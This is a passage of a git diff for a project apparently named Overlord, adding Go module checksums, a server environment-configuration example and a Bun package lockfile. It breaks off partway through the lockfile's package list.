v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= +github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk= +github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0= +github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.6.1 h1:hDPOHmpOpP40lSULcqw7IrRb/u7w6RpDC9399XyoNd0= +github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/tetratelabs/wazero v1.7.0 h1:jg5qPydno59wqjpGrHph81lbtHzTrWzwwtD4cD88+hQ= +github.com/tetratelabs/wazero v1.7.0/go.mod h1:ytl6Zuh20R/eROuyDaGPkp82O9C/DJfXAwJfQ3X6/7Y= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.24.0 h1:Twjiwq9dn6R1fQcyiK+wQyHWfaz/BJB+YIpzU/Cv3Xg= +golang.org/x/sys v0.24.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c h1:dUUwHk2QECo/6vqA44rthZ8ie2QXMNeKRTHCNY2nXvo= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +nhooyr.io/websocket v1.8.10 h1:mv4p+MnGrLDcPlBoWsvPP7XCzTYMXP9F9eIGoKbgx7Q= +nhooyr.io/websocket v1.8.10/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c= diff --git a/Overlord-Server/.env.example b/Overlord-Server/.env.example new file mode 100644 index 0000000..0b1c67b --- /dev/null +++ b/Overlord-Server/.env.example @@ -0,0 +1,30 @@ +# Overlord Server Environment Configuration +# Copy this file to .env and customize for your deployment + +# Server Configuration +PORT=5173 +HOST=0.0.0.0 + +# Optional: Set custom hostname for certificate generation +# OVERLORD_HOSTNAME=your-server.com + +# Authentication +OVERLORD_USER=admin +# Leave empty to auto-generate and persist in ./data/save.json +OVERLORD_PASS= + +# Optional overrides. Leave empty to auto-generate and persist in ./data/save.json +JWT_SECRET= +OVERLORD_AGENT_TOKEN= + +# TLS/HTTPS Configuration (Always Enabled) +# Certificates are auto-generated if not present +# You can specify custom certificate paths: +# OVERLORD_TLS_CERT=./certs/server.crt +# OVERLORD_TLS_KEY=./certs/server.key + +# Optional: CA certificate for client certificate verification (mutual TLS) +# OVERLORD_TLS_CA=./certs/ca.crt + +# Performance tuning +PRUNE_BATCH=500 diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock new file mode 100644 index 0000000..cecb18e --- /dev/null +++ b/Overlord-Server/bun.lock @@ -0,0 +1,327 @@ +{ + "lockfileVersion": 1, + "configVersion": 0, + "workspaces": { + "": { + "name": "overlord-server", + "dependencies": { + "@msgpack/msgpack": "^3.0.0", + "adm-zip": "^0.5.12", + "flag-icons": "latest", + "geoip-lite": "latest", + "jose": "^6.1.3", + "uuid": "^9.0.1", + "winston": "^3.11.0", + }, + "devDependencies": { + "@tailwindcss/cli": "^4.1.18", + "@types/bun": "^1.3.8", + "@types/geoip-lite": "latest", + "@types/uuid": "^9.0.7", + "autoprefixer": "^10.4.23", + "postcss": "^8.5.6", + "tailwindcss": "^4.1.18", + "typescript": "^5.6.3", + }, + }, + }, + "packages": { + "@colors/colors": ["@colors/colors@1.6.0", "", {}, "sha512-Ir+AOibqzrIsL6ajt3Rz3LskB7OiMVHqltZmspbW/TJuTVuyOMirVqAkjfY6JISiLHgyNqicAC8AyHHGzNd/dA=="], + + "@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="], + + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], + + "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="], + + "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], + + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + + "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], + + "@msgpack/msgpack": ["@msgpack/msgpack@3.1.3", "", {}, "sha512-47XIizs9XZXvuJgoaJUIE2lFoID8ugvc0jzSHP+Ptfk8nTbnR8g788wv48N03Kx0UkAv559HWRQ3yzOgzlRNUA=="], + + "@parcel/watcher": ["@parcel/watcher@2.5.6", "", { "dependencies": { "detect-libc": "^2.0.3", "is-glob": "^4.0.3", "node-addon-api": "^7.0.0", "picomatch": "^4.0.3" }, "optionalDependencies": { "@parcel/watcher-android-arm64": "2.5.6", "@parcel/watcher-darwin-arm64": "2.5.6", "@parcel/watcher-darwin-x64": "2.5.6", "@parcel/watcher-freebsd-x64": "2.5.6", "@parcel/watcher-linux-arm-glibc": "2.5.6", "@parcel/watcher-linux-arm-musl": "2.5.6", "@parcel/watcher-linux-arm64-glibc": "2.5.6", "@parcel/watcher-linux-arm64-musl": "2.5.6", "@parcel/watcher-linux-x64-glibc": "2.5.6", "@parcel/watcher-linux-x64-musl": "2.5.6", "@parcel/watcher-win32-arm64": "2.5.6", "@parcel/watcher-win32-ia32": "2.5.6", "@parcel/watcher-win32-x64": "2.5.6" } }, "sha512-tmmZ3lQxAe/k/+rNnXQRawJ4NjxO2hqiOLTHvWchtGZULp4RyFeh6aU4XdOYBFe2KE1oShQTv4AblOs2iOrNnQ=="], + + "@parcel/watcher-android-arm64": ["@parcel/watcher-android-arm64@2.5.6", "", { "os": "android", "cpu": "arm64" }, "sha512-YQxSS34tPF/6ZG7r/Ih9xy+kP/WwediEUsqmtf0cuCV5TPPKw/PQHRhueUo6JdeFJaqV3pyjm0GdYjZotbRt/A=="], + + "@parcel/watcher-darwin-arm64": ["@parcel/watcher-darwin-arm64@2.5.6", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Z2ZdrnwyXvvvdtRHLmM4knydIdU9adO3D4n/0cVipF3rRiwP+3/sfzpAwA/qKFL6i1ModaabkU7IbpeMBgiVEA=="], + + "@parcel/watcher-darwin-x64": ["@parcel/watcher-darwin-x64@2.5.6", "", { "os": "darwin", "cpu": "x64" }, "sha512-HgvOf3W9dhithcwOWX9uDZyn1lW9R+7tPZ4sug+NGrGIo4Rk1hAXLEbcH1TQSqxts0NYXXlOWqVpvS1SFS4fRg=="], + + "@parcel/watcher-freebsd-x64": ["@parcel/watcher-freebsd-x64@2.5.6", "", { "os": "freebsd", "cpu": "x64" }, "sha512-vJVi8yd/qzJxEKHkeemh7w3YAn6RJCtYlE4HPMoVnCpIXEzSrxErBW5SJBgKLbXU3WdIpkjBTeUNtyBVn8TRng=="], + + "@parcel/watcher-linux-arm-glibc": ["@parcel/watcher-linux-arm-glibc@2.5.6", "", { "os": "linux", "cpu": "arm" }, "sha512-9JiYfB6h6BgV50CCfasfLf/uvOcJskMSwcdH1PHH9rvS1IrNy8zad6IUVPVUfmXr+u+Km9IxcfMLzgdOudz9EQ=="], + + "@parcel/watcher-linux-arm-musl": ["@parcel/watcher-linux-arm-musl@2.5.6", "", { "os": "linux", "cpu": "arm" }, "sha512-Ve3gUCG57nuUUSyjBq/MAM0CzArtuIOxsBdQ+ftz6ho8n7s1i9E1Nmk/xmP323r2YL0SONs1EuwqBp2u1k5fxg=="], + + "@parcel/watcher-linux-arm64-glibc": ["@parcel/watcher-linux-arm64-glibc@2.5.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-f2g/DT3NhGPdBmMWYoxixqYr3v/UXcmLOYy16Bx0TM20Tchduwr4EaCbmxh1321TABqPGDpS8D/ggOTaljijOA=="], + + "@parcel/watcher-linux-arm64-musl": ["@parcel/watcher-linux-arm64-musl@2.5.6", "", { "os": "linux", "cpu": "arm64" }, "sha512-qb6naMDGlbCwdhLj6hgoVKJl2odL34z2sqkC7Z6kzir8b5W65WYDpLB6R06KabvZdgoHI/zxke4b3zR0wAbDTA=="], + + "@parcel/watcher-linux-x64-glibc": ["@parcel/watcher-linux-x64-glibc@2.5.6", "", { "os": "linux", "cpu": "x64" }, "sha512-kbT5wvNQlx7NaGjzPFu8nVIW1rWqV780O7ZtkjuWaPUgpv2NMFpjYERVi0UYj1msZNyCzGlaCWEtzc+exjMGbQ=="], + + "@parcel/watcher-linux-x64-musl": ["@parcel/watcher-linux-x64-musl@2.5.6", "", { "os": "linux", "cpu": "x64" }, "sha512-1JRFeC+h7RdXwldHzTsmdtYR/Ku8SylLgTU/reMuqdVD7CtLwf0VR1FqeprZ0eHQkO0vqsbvFLXUmYm/uNKJBg=="], + + "@parcel/watcher-win32-arm64": ["@parcel/watcher-win32-arm64@2.5.6", "", { "os": "win32", "cpu": "arm64" }, "sha512-3ukyebjc6eGlw9yRt678DxVF7rjXatWiHvTXqphZLvo7aC5NdEgFufVwjFfY51ijYEWpXbqF5jtrK275z52D4Q=="], + + "@parcel/watcher-win32-ia32": ["@parcel/watcher-win32-ia32@2.5.6", "", { "os": "win32", "cpu": "ia32" }, "sha512-k35yLp1ZMwwee3Ez/pxBi5cf4AoBKYXj00CZ80jUz5h8prpiaQsiRPKQMxoLstNuqe2vR4RNPEAEcjEFzhEz/g=="], + + "@parcel/watcher-win32-x64": ["@parcel/watcher-win32-x64@2.5.6", "", { "os": "win32", "cpu": "x64" }, "sha512-hbQlYcCq5dlAX9Qx+kFb0FHue6vbjlf0FrNzSKdYK2APUf7tGfGxQCk2ihEREmbR6ZMc0MVAD5RIX/41gpUzTw=="], + + "@so-ric/colorspace": ["@so-ric/colorspace@1.1.6", "", { "dependencies": { "color": "^5.0.2", "text-hex": "1.0.x" } }, "sha512-/KiKkpHNOBgkFJwu9sh48LkHSMYGyuTcSFK/qMBdnOAlrRJzRSXAOFB5qwzaVQuDl8wAvHVMkaASQDReTahxuw=="], + + "@tailwindcss/cli": ["@tailwindcss/cli@4.1.18", "", { "dependencies": { "@parcel/watcher": "^2.5.1", "@tailwindcss/node": "4.1.18", "@tailwindcss/oxide": "4.1.18", "enhanced-resolve": "^5.18.3", "mri": "^1.2.0", "picocolors": "^1.1.1", "tailwindcss": "4.1.18" }, "bin": { "tailwindcss": "dist/index.mjs" } }, "sha512-sMZ+lZbDyxwjD2E0L7oRUjJ01Ffjtme5OtjvvnC+cV4CEDcbqzbp25TCpxHj6kWLU9+DlqJOiNgSOgctC2aZmg=="], + + "@tailwindcss/node": ["@tailwindcss/node@4.1.18", "", { "dependencies": { "@jridgewell/remapping": "^2.3.4", "enhanced-resolve": "^5.18.3", "jiti": "^2.6.1", "lightningcss": "1.30.2", "magic-string": "^0.30.21", "source-map-js": "^1.2.1", "tailwindcss": "4.1.18" } }, "sha512-DoR7U1P7iYhw16qJ49fgXUlry1t4CpXeErJHnQ44JgTSKMaZUdf17cfn5mHchfJ4KRBZRFA/Coo+MUF5+gOaCQ=="], + + "@tailwindcss/oxide": ["@tailwindcss/oxide@4.1.18", "", { "optionalDependencies": { "@tailwindcss/oxide-android-arm64": "4.1.18", "@tailwindcss/oxide-darwin-arm64": "4.1.18", "@tailwindcss/oxide-darwin-x64": "4.1.18", "@tailwindcss/oxide-freebsd-x64": "4.1.18", "@tailwindcss/oxide-linux-arm-gnueabihf": "4.1.18", "@tailwindcss/oxide-linux-arm64-gnu": "4.1.18", "@tailwindcss/oxide-linux-arm64-musl": "4.1.18", "@tailwindcss/oxide-linux-x64-gnu": "4.1.18", "@tailwindcss/oxide-linux-x64-musl": "4.1.18", "@tailwindcss/oxide-wasm32-wasi": "4.1.18", "@tailwindcss/oxide-win32-arm64-msvc": "4.1.18", "@tailwindcss/oxide-win32-x64-msvc": "4.1.18" } }, "sha512-EgCR5tTS5bUSKQgzeMClT6iCY3ToqE1y+ZB0AKldj809QXk1Y+3jB0upOYZrn9aGIzPtUsP7sX4QQ4XtjBB95A=="], + + "@tailwindcss/oxide-android-arm64": ["@tailwindcss/oxide-android-arm64@4.1.18", "", { "os": "android", "cpu": "arm64" }, "sha512-dJHz7+Ugr9U/diKJA0W6N/6/cjI+ZTAoxPf9Iz9BFRF2GzEX8IvXxFIi/dZBloVJX/MZGvRuFA9rqwdiIEZQ0Q=="], + + "@tailwindcss/oxide-darwin-arm64": ["@tailwindcss/oxide-darwin-arm64@4.1.18", "", { "os": "darwin", "cpu": "arm64" }, "sha512-Gc2q4Qhs660bhjyBSKgq6BYvwDz4G+BuyJ5H1xfhmDR3D8HnHCmT/BSkvSL0vQLy/nkMLY20PQ2OoYMO15Jd0A=="], + + "@tailwindcss/oxide-darwin-x64": ["@tailwindcss/oxide-darwin-x64@4.1.18", "", { "os": "darwin", "cpu": "x64" }, "sha512-FL5oxr2xQsFrc3X9o1fjHKBYBMD1QZNyc1Xzw/h5Qu4XnEBi3dZn96HcHm41c/euGV+GRiXFfh2hUCyKi/e+yw=="], + + "@tailwindcss/oxide-freebsd-x64": ["@tailwindcss/oxide-freebsd-x64@4.1.18", "", { "os": "freebsd", "cpu": "x64" }, "sha512-Fj+RHgu5bDodmV1dM9yAxlfJwkkWvLiRjbhuO2LEtwtlYlBgiAT4x/j5wQr1tC3SANAgD+0YcmWVrj8R9trVMA=="], + + "@tailwindcss/oxide-linux-arm-gnueabihf": ["@tailwindcss/oxide-linux-arm-gnueabihf@4.1.18", "", { "os": "linux", "cpu": "arm" }, "sha512-Fp+Wzk/Ws4dZn+LV2Nqx3IilnhH51YZoRaYHQsVq3RQvEl+71VGKFpkfHrLM/Li+kt5c0DJe/bHXK1eHgDmdiA=="], + + "@tailwindcss/oxide-linux-arm64-gnu": ["@tailwindcss/oxide-linux-arm64-gnu@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-S0n3jboLysNbh55Vrt7pk9wgpyTTPD0fdQeh7wQfMqLPM/Hrxi+dVsLsPrycQjGKEQk85Kgbx+6+QnYNiHalnw=="], + + "@tailwindcss/oxide-linux-arm64-musl": ["@tailwindcss/oxide-linux-arm64-musl@4.1.18", "", { "os": "linux", "cpu": "arm64" }, "sha512-1px92582HkPQlaaCkdRcio71p8bc8i/ap5807tPRDK/uw953cauQBT8c5tVGkOwrHMfc2Yh6UuxaH4vtTjGvHg=="], + + "@tailwindcss/oxide-linux-x64-gnu": ["@tailwindcss/oxide-linux-x64-gnu@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-v3gyT0ivkfBLoZGF9LyHmts0Isc8jHZyVcbzio6Wpzifg/+5ZJpDiRiUhDLkcr7f/r38SWNe7ucxmGW3j3Kb/g=="], + + "@tailwindcss/oxide-linux-x64-musl": ["@tailwindcss/oxide-linux-x64-musl@4.1.18", "", { "os": "linux", "cpu": "x64" }, "sha512-bhJ2y2OQNlcRwwgOAGMY0xTFStt4/wyU6pvI6LSuZpRgKQwxTec0/3Scu91O8ir7qCR3AuepQKLU/kX99FouqQ=="], + + "@tailwindcss/oxide-wasm32-wasi": ["@tailwindcss/oxide-wasm32-wasi@4.1.18", "", { "dependencies": { "@emnapi/core": "^1.7.1", "@emnapi/runtime": "^1.7.1", "@emnapi/wasi-threads": "^1.1.0", "@napi-rs/wasm-runtime": "^1.1.0", "@tybys/wasm-util": "^0.10.1", "tslib": "^2.4.0" }, "cpu": "none" }, "sha512-LffYTvPjODiP6PT16oNeUQJzNVyJl1cjIebq/rWWBF+3eDst5JGEFSc5cWxyRCJ0Mxl+KyIkqRxk1XPEs9x8TA=="], + + "@tailwindcss/oxide-win32-arm64-msvc": ["@tailwindcss/oxide-win32-arm64-msvc@4.1.18", "", { "os": "win32", "cpu": "arm64" }, "sha512-HjSA7mr9HmC8fu6bdsZvZ+dhjyGCLdotjVOgLA2vEqxEBZaQo9YTX4kwgEvPCpRh8o4uWc4J/wEoFzhEmjvPbA=="], + + "@tailwindcss/oxide-win32-x64-msvc": ["@tailwindcss/oxide-win32-x64-msvc@4.1.18", "", { "os": "win32", "cpu": "x64" }, "sha512-bJWbyYpUlqamC8dpR7pfjA0I7vdF6t5VpUGMWRkXVE3AXgIZjYUYAK7II1GNaxR8J1SSrSrppRar8G++JekE3Q=="], + + "@types/bun": ["@types/bun@1.3.8", "", { "dependencies": { "bun-types": "1.3.8" } }, "sha512-3LvWJ2q5GerAXYxO2mffLTqOzEu5qnhEAlh48Vnu8WQfnmSwbgagjGZV6BoHKJztENYEDn6QmVd949W4uESRJA=="], + + "@types/geoip-lite": ["@types/geoip-lite@1.4.4", "", {}, "sha512-2uVfn+C6bX/H356H6mjxsWUA5u8LO8dJgSBIRO/NFlpMe4DESzacutD/rKYrTDKm1Ugv78b4Wz1KvpHrlv3jSw=="], + + "@types/node": ["@types/node@25.2.2", "", { "dependencies": { "undici-types": "~7.16.0" } }, "sha512-BkmoP5/FhRYek5izySdkOneRyXYN35I860MFAGupTdebyE66uZaR+bXLHq8k4DirE5DwQi3NuhvRU1jqTVwUrQ=="], + + "@types/triple-beam": ["@types/triple-beam@1.3.5", "", {}, "sha512-6WaYesThRMCl19iryMYP7/x2OVgCtbIVflDGFpWnb9irXI3UjYE4AzmYuiUKY1AJstGijoY+MgUszMgRxIYTYw=="], + + "@types/uuid": ["@types/uuid@9.0.8", "", {}, "sha512-jg+97EGIcY9AGHJJRaaPVgetKDsrTgbRjQ5Msgjh/DQKEFl0DtyRr/VCOyD1T2R1MNeWPK/u7JoGhlDZnKBAfA=="], + + "adm-zip": ["adm-zip@0.5.16", "", {}, "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ=="], + + "ansi-styles": ["ansi-styles@4.3.0", "", { "dependencies": { "color-convert": "^2.0.1" } }, "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg=="], + + "async": ["async@2.6.4", "", { "dependencies": { "lodash": "^4.17.14" } }, "sha512-mzo5dfJYwAn29PeiJ0zvwTo04zj8HDJj0Mn8TD7sno7q12prdbnasKJHhkm2c1LgrhlJ0teaea8860oxi51mGA=="], + + "autoprefixer": ["autoprefixer@10.4.23", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001760", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA=="], + + "balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], + + "baseline-browser-mapping": ["baseline-browser-mapping@2.9.14", "", { "bin": { "baseline-browser-mapping": "dist/cli.js" } }, "sha512-B0xUquLkiGLgHhpPBqvl7GWegWBUNuujQ6kXd/r1U38ElPT6Ok8KZ8e+FpUGEc2ZoRQUzq/aUnaKFc/svWUGSg=="], + + "brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], + + "browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], + + "buffer-crc32": ["buffer-crc32@0.2.13", "", {}, "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ=="], + + "bun-types": ["bun-types@1.3.8", "", { "dependencies": { "@types/node": "*" } }, "sha512-fL99nxdOWvV4LqjmC+8Q9kW3M4QTtTR1eePs94v5ctGqU8OeceWrSUaRw3JYb7tU3FkMIAjkueehrHPPPGKi5Q=="], + + "caniuse-lite": ["caniuse-lite@1.0.30001764", "", {}, "sha512-9JGuzl2M+vPL+pz70gtMF9sHdMFbY9FJaQBi186cHKH3pSzDvzoUJUPV6fqiKIMyXbud9ZLg4F3Yza1vJ1+93g=="], + + "chalk": ["chalk@4.1.2", "", { "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA=="], + + "color": ["color@5.0.3", "", { "dependencies": { "color-convert": "^3.1.3", "color-string": "^2.1.3" } }, "sha512-ezmVcLR3xAVp8kYOm4GS45ZLLgIE6SPAFoduLr6hTDajwb3KZ2F46gulK3XpcwRFb5KKGCSezCBAY4Dw4HsyXA=="], + + "color-convert": ["color-convert@2.0.1", "", { "dependencies": { "color-name": "~1.1.4" } }, "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ=="], + + "color-name": ["color-name@1.1.4", "", {}, "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="], + + "color-string": ["color-string@2.1.4", "", { "dependencies": { "color-name": "^2.0.0" } }, "sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg=="], + + "concat-map": ["concat-map@0.0.1", "", {}, "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg=="], + + "detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="], + + "electron-to-chromium": ["electron-to-chromium@1.5.267", "", {}, "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw=="], + + "enabled": ["enabled@2.0.0", "", {}, "sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ=="], + + "enhanced-resolve": ["enhanced-resolve@5.19.0", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.3.0" } }, "sha512-phv3E1Xl4tQOShqSte26C7Fl84EwUdZsyOuSSk9qtAGyyQs2s3jJzComh+Abf4g187lUUAvH+H26omrqia2aGg=="], + + "escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="], + + "fd-slicer": ["fd-slicer@1.1.0", "", { "dependencies": { "pend": "~1.2.0" } }, "sha512-cE1qsB/VwyQozZ+q1dGxR8LBYNZeofhEdUNGSMbQD3Gw2lAzX9Zb3uIU6Ebc/Fmyjo9AWWfnn0AUCHqtevs/8g=="], + + "fecha": ["fecha@4.2.3", "", {}, "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw=="], + + "flag-icons": ["flag-icons@7.5.0", "", {}, "sha512-kd+MNXviFIg5hijH766tt+3x76ele1AXlo4zDdCxIvqWZhKt4T83bOtxUOOMlTx/EcFdUMH5yvQgYlFh1EqqFg=="], + + "fn.name": ["fn.name@1.1.0", "", {}, "sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw=="], + + "fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="], + + "fs.realpath": ["fs.realpath@1.0.0", "", {}, "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw=="], + + "geoip-lite": ["geoip-lite@1.4.10", "", { "dependencies": { "async": "2.1 - 2.6.4", "chalk": "4.1 - 4.1.2", "iconv-lite": "0.4.13 - 0.6.3", "ip-address": "5.8.9 - 5.9.4", "lazy": "1.0.11", "rimraf": "2.5.2 - 2.7.1", "yauzl": "2.9.2 - 2.10.0" } }, "sha512-4N69uhpS3KFd97m00wiFEefwa+L+HT5xZbzPhwu+sDawStg6UN/dPwWtUfkQuZkGIY1Cj7wDVp80IsqNtGMi2w=="], + + "glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="], + + "graceful-fs": ["graceful-fs@4.2.11", "", {}, "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ=="], + + "has-flag": ["has-flag@4.0.0", "", {}, "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="], + + "iconv-lite": ["iconv-lite@0.6.3", "", { "dependencies": { "safer-buffer": ">= 2.1.2 < 3.0.0" } }, "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw=="], + + "inflight": ["inflight@1.0.6", "", { "dependencies": { "once": "^1.3.0", "wrappy": "1" } }, 